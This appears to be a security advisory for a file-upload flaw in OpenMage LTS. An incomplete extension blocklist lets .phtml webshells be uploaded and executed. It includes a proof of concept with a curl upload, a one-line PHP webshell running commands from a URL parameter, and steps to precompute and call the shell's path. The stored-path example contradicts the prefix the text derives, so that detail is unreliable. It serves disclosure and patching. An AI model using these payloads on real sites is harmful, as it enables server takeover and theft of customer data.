Summary The product custom option file upload in OpenMage LTS uses an incomplete blocklist (`forbidden_extensions = php,exe`) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as `.phtml`, `.phar`, `.php3`, `.php4`, `.php5`, `.php7`, and `.pht`. Files are stored in the publicly accessible `media/custom_options/quote/` directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.
## Affected Version
- **Project:** OpenMage/magento-lts
- **Vulnerable File:** `https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php`
- **Vulnerable Lines:** 230-237 (`_validateUploadedFile()`)
- **Configuration:** `app/code/core/Mage/Catalog/etc/config.xml:824`
## Root Cause
The file upload handler uses `Zend_File_Transfer_Adapter_Http` directly with `ExcludeExtension` validator, referencing only:
```xml
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>
```
This misses the comprehensive `protected_extensions` blocklist defined elsewhere:
```xml
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi,
htm, html, pht, phtml, shtml
```
## Vulnerable Code
```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
$upload->addValidator('Extension', false, $_allowed);
} else {
$_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
if ($_forbidden !== null) {
$upload->addValidator('ExcludeExtension', false, $_forbidden); // Only blocks php,exe!
}
}
```
## Steps to Reproduce
### 1. Environment Setup
Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)
### 2. Exploitation
```bash
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
-F "file=@shell.phtml;filename=shell.phtml"
```
**Result:**
<img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />
### 3. Code Execution
OpenMage derives the uploaded file's storage path deterministically from two values the attacker
already controls:
**Subdirectory** — `getDispretionPath($filename)` takes the **first two characters** of the
uploaded filename and uses them as nested directory names:
```
filename = "shell.phtml" → s/ h/ → media/custom_options/quote/s/h/
```
**Filename** — `md5(file_get_contents($tmp_name))` is computed over the **raw bytes of the
uploaded payload** (`File.php:245`):
```php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath = $dispersion . DS . $fileHash . '.' . $extension;
```
Because the attacker writes the webshell themselves, both the filename prefix and file contents are
known **before the upload request is sent**. The full URL can be pre-computed:
```bash
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h
```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"
```
**Result:** RCE Confirmed
<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />
## Affected Deployments
| Configuration | Status |
|---------------|--------|
| Apache + mod_php (with `php_flag engine 0`) | SAFE |
| Apache + PHP-FPM | **VULNERABLE** |
| Nginx (reference hardened config) | SAFE |
| Nginx (generic config with .phtml→FPM) | **VULNERABLE** |
## Impact
1. **Remote Code Execution:** Full server compromise through webshell upload
2. **Data Exfiltration:** Access to database credentials, customer PII, payment data
3. **Lateral Movement:** Pivot to internal infrastructure
4. **Supply Chain:** Inject malicious code into served content
RemediationUpgrade to the fixed version using your package manager.
Composer
Update openmage/magento-lts to 20.17.0 or later composer require "openmage/magento-lts:^20.17.0" After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.
Affected Packages (1)Affects 1 ecosystem: packagist (1).
Package Ecosystem Affected Fixed In openmage/magento-lts packagist
1.9.1.1, 1.9.2.0, 1.9.2.1, 1.9.2.2 (+86 more) 20.17.0
Vulnerability ClassificationCommon Weakness Enumeration (CWE) identifiers for this vulnerability type.
CWE-434
Unrestricted File Upload MITRE CVSS Score BreakdownWhat the CVSS (Common Vulnerability Scoring System) 8.8 score means for each attack dimension.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H